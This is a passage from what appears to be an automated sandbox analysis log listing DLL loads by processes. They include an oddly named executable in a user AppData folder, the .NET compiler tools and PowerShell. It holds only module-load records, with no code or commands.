Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: ktmw32.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: dlnashext.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: wpdshext.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\surrogateDriverintoSessionNet\containerwebruntime.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: netutils.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: wldp.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: propsys.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: profapi.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: windowscodecs.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: textshaping.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: dataexchange.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: d3d11.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: dcomp.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: dxgi.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: twinapi.appcore.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: textinputframework.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: coreuicomponents.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: coremessaging.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: ntmarta.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: wintypes.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: wintypes.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: wintypes.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: thumbcache.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: policymanager.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: msvcp110_win.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: ehstorshell.dll
Source: C:\Program Files\Everything\Everything.exe	Section loaded: cscui.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
